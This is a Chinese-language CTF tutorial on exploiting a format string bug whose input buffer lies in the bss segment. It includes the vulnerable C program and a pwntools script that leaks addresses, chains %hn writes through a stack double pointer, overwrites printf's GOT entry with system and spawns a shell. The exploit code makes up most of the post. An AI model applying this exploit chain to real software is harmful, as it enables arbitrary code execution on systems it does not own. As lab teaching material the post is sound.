非栈上格式化字符串
格式化字符串基础
先看看格式化字符串%p和%hn的效果

1 2 3
| gdb.attach(io) payload = b'%6$p' io.send(payload)
|

1 2 3
| gdb.attach(io) payload = f'%{0xffff}c%6$hn'.encode() io.send(payload)
|

这里因为没有后续输入,直接c会崩掉,断不到printf执行的地方,要ni单步执行到这个函数才能看到printf的效果


可以看出,%p是将栈中存放的内容泄露出来,而%hn是将栈中存放的内容作为一个指针,改写这个指针指向的位置的值,与%hn类似的还有%s,有兴趣的可以自己动手调试
例题
参考:b站国资社畜视频:
【你想有多pwn_第三章_第五课 非栈上格式化字符串上x64_x2】 https://www.bilibili.com/video/BV1BS4y157kA/?share_source=copy_web&vd_source=699876776b02bb02021ed91dccb18b7e
题目源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #include <stdio.h> #include <unistd.h> #include <string.h>
char buf[200]; int init_func(){ setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); return 0; }
void do_fmt(){ while(1){ read(0, buf, 200); if(!strncmp(buf, "quit", 4)) break; printf(buf); } return ; }
void play(){ puts("hello"); do_fmt(); return ; }
int main(){ init_func(); play();
return 0; }
|
无限次输入,随便我们改
先输aaaaaaaa看下栈视图


因为aaaaaaaa被存到全局变量buf中,所以会被存放到bss段中,栈上不能任意布置地址
利用思路:
利用图中的二级指针(如本题中bp就是一个二级指针)

1.通过对二级指针的第一级指针进行%hn操作,将二级指针的第二级指针指向栈上的一个空间,如0x7fffffffdfc8

2.再通过对二级指针的第二级指针进行%hn操作,将栈上空间的值修改为要修改的地址,如这里改为printf_got

3.再通过对栈空间进行%hn操作,将printf_got低8位修改为0xdeadbeef

然而,因为bss段上格式化字符串的特殊性,一次写太多个字节会写不进去(原因是因为%Xc是读X个字符,但是从printf栈开始的位置算,并没有X个字符),所以如果我们想要实现如上图将printf_got表的低八位修改为0xdeadbeef的话,则至少通过两次%hn,如果想要实现修改为任意地址,则至少需要修改四次,所以我们需要四个不同的栈空间,分别指向printf_got,printf_got+2,printf_got+4,printf_got+6,然后用二级指针分别指向这些栈空间,也就是说,上面的三步我们得重复执行4次才能修改成为任意地址
具体实现:
在进行以上操作之前,我们需要先将栈空间地址,文件基地址,libc基地址泄露出来:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| elf = ELF('./image/blog/fmt_bssfmt_bss_64') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
payload_leak = b'%6$p%9$p%31$p\x00' io.recvuntil(b'hello') io.send(payload_leak) print(io.recvline()) bp_10 = int(io.recv(14), 16) print("bp_10 =",hex(bp_10)) main_28 = int(io.recv(14), 16) elf_base = main_28 - elf.sym['main'] - 28 print("elf_base =",hex(elf_base)) libc_start_main_128 = int(io.recv(14), 16) libc_base = libc_start_main_128 - libc.sym['__libc_start_main'] - 128 print("libc_base =", hex(libc_base)) printf_got = elf.got['printf'] + elf_base print('printf_got =', hex(printf_got))
|
我们选择这四个栈空间,将printf_got修改为system的实际地址

指向libc_start_call_main的地址因为需要修改的次数太多,所以不能用(或者说不好用),其他几个只需要修改低四位即可
第一次:
1 2 3 4 5 6 7 8 9 10 11
|
num1 = bp_10 - 8 & 0xffff print("num1 =", hex(num1)) payload_double_pointer = f'%{num1}c%6$hn\x00' io.send(payload_double_pointer)
printf_got_num1 = printf_got & 0xffff print("printf_got_num1 =", hex(printf_got_num1)) payload1 = f'%{printf_got_num1}c%8$hn\x00' io.send(payload1)
|

第二次:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
num2 = bp_10 + 8 & 0xffff print("num2 =", hex(num2)) payload_double_pointer = f'%{num2}c%6$hn\x00' io.send(payload_double_pointer) io.interactive() io.send(payload_double_pointer) io.interactive()
printf_got_num2 = (printf_got + 2) & 0xffff print("printf_got_num2 =", hex(printf_got_num2)) payload2 = f'%{printf_got_num2}c%8$hn\x00' io.send(payload2) io.interactive()
|

第三次:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
num3 = bp_10 + 0x28 & 0xffff print("num3 =", hex(num3)) payload_double_pointer = f'%{num3}c%6$hn\x00' io.send(payload_double_pointer) io.interactive()
printf_got_num3 = (printf_got + 4) & 0xffff print("printf_got_num3 =", hex(printf_got_num3)) payload3 = f'%{printf_got_num3}c%8$hn' io.send(payload3) io.interactive()
|

第四次:
1 2 3 4 5 6 7 8 9 10 11 12
|
num4 = bp_10 + 0x58 & 0xffff print("num4 =", hex(num4)) payload_double_pointer = f'%{num4}c%6$hn\x00' io.send(payload_double_pointer) io.interactive()
printf_got_num4 = (printf_got + 6) & 0xffff print("printf_got_num4 =", hex(printf_got_num4)) payload4 = f'%{printf_got_num4}c%8$hn\x00' io.send(payload4)
|

至此,四个栈空间的内容已经被我们修改完毕,接下来,通过对上图绿框对应的偏移进行%hn即可修改got表值
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| system = libc_base + libc.sym['system'] system1 = system & 0xffff system2 = system >> 16 & 0xffff system3 = system >> 32 & 0xffff system4 = system >> 48 & 0xffff offset_list = ['0', '7', '9', '13', '19'] payload = f'%{system1}c%{offset_list[1]}$hn' payload += f'%{(system2 - system1 + 0x10000) % 0x10000}c%{offset_list[2]}$hn' payload += f'%{(system3 - system2 + 0x10000) % 0x10000}c%{offset_list[3]}$hn'
io.send(payload) io.interactive() print("system =", hex(system))
|
需要注意的是,我们是在一个格式化字符串中实现的理论上四步修改got表的操作,所以第二个f”%{num_2}c%hn”中的num_2就应该是第二个应该写入的值减去已经写入的字节数,也就是num1 = system1
那么假如第二个写入的值比第一个小,如第一次写入0x6789,第二次写入0x1234,那么已经写入的字节数已经是0x6789了,怎么办呢?
这时候我们可以用0x1234 - 0x6789,结果是0xffffffffffffaaab,将其对0x10000进行取余操作,就能得到0xaaab,也就能在格式化字符串中实现写入0x6789 + 0xaaab = 0x11234个字节,由于我们用的是%hn,所以最高位的1就不会被写入,从而只会写入0x1234个字节
在第三次写入的时候,我们就可以认为之前总共写入的字节数为0x1234而不是0x11234,那么同理,我们用第三次需要写入的字节数减0x1234,也就是第二次写入的字节数再对0x10000取余即可。(第四次同理)

接下来输入/bin/sh即可get shell
1 2 3
| io.send(b'/bin/sh') print("get shell") io.interactive()
|

代码中间有很多io.interactive(),是因为调试时发现b printf后用c断不到printf处(可能是因为输出过多),没法继续调试。
加完之后每次在debug窗口出现continue的时候需要在程序窗口按下ctrl + c
